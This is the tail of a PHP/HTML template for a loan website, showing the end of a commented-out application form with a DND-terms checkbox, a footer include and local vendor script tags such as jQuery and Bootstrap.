<div class="loan_field"><label><input name="dnd" id="dnd" type="checkbox" value="Y" checked="checked" > I have read and agree to the <span class="red"><a href="https://www.capitalneed.com/accept_dnd" target="_blank">Terms of DND</a></span></label></div>
<p class="clearfix"></p>
<br>
<div class="form_group col-md-4">
<button class="main-btn primary-btn">Apply Now<i class="far fa-arrow-right"></i></button>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</section> -->
<!--====== End Contact Form Section ======-->
<!--====== Start Footer ======-->
<?php require "inc/footer.php"; ?>
<!--====== Back To Top ======-->
<a href="#" class="back-to-top" ><i class="far fa-angle-up"></i></a>
<!--====== Jquery js ======-->
<script src="assets/vendor/jquery-3.6.0.min.js"></script>
<!--====== Bootstrap js ======-->
<script src="assets/vendor/popper/popper.min.js"></script>
<!--====== Bootstrap js ======-->
<script src="assets/vendor/bootstrap/js/bootstrap.min.js"></script>
<!--====== Slick js ======-->
<script src="assets/vendor/slick/slick.min.js"></script>
<!--====== Magnific js ======-->
<script src="assets/vendor/magnific-popup/dist/jquery.magnific-popup.min.js"></script>
<!--====== Counterup js ======-->
<script src="assets/vendor/jquery.counterup.min.js"></script>
<!--====== Waypoints js ======-->
<script src="assets/vendor/jquery.waypoints.js"></script>
<!--====== Nice-select js ======-->
<script src="assets/vendor/nice-select/js/jquery.nice-select.min.js"></script>
<!--====== WOW js ======-->
<script src="assets/vendor/wow.min.js"></script>
<!--====== Main js ======-->
<script src="assets/js/theme.js"></script>
</body>
</html>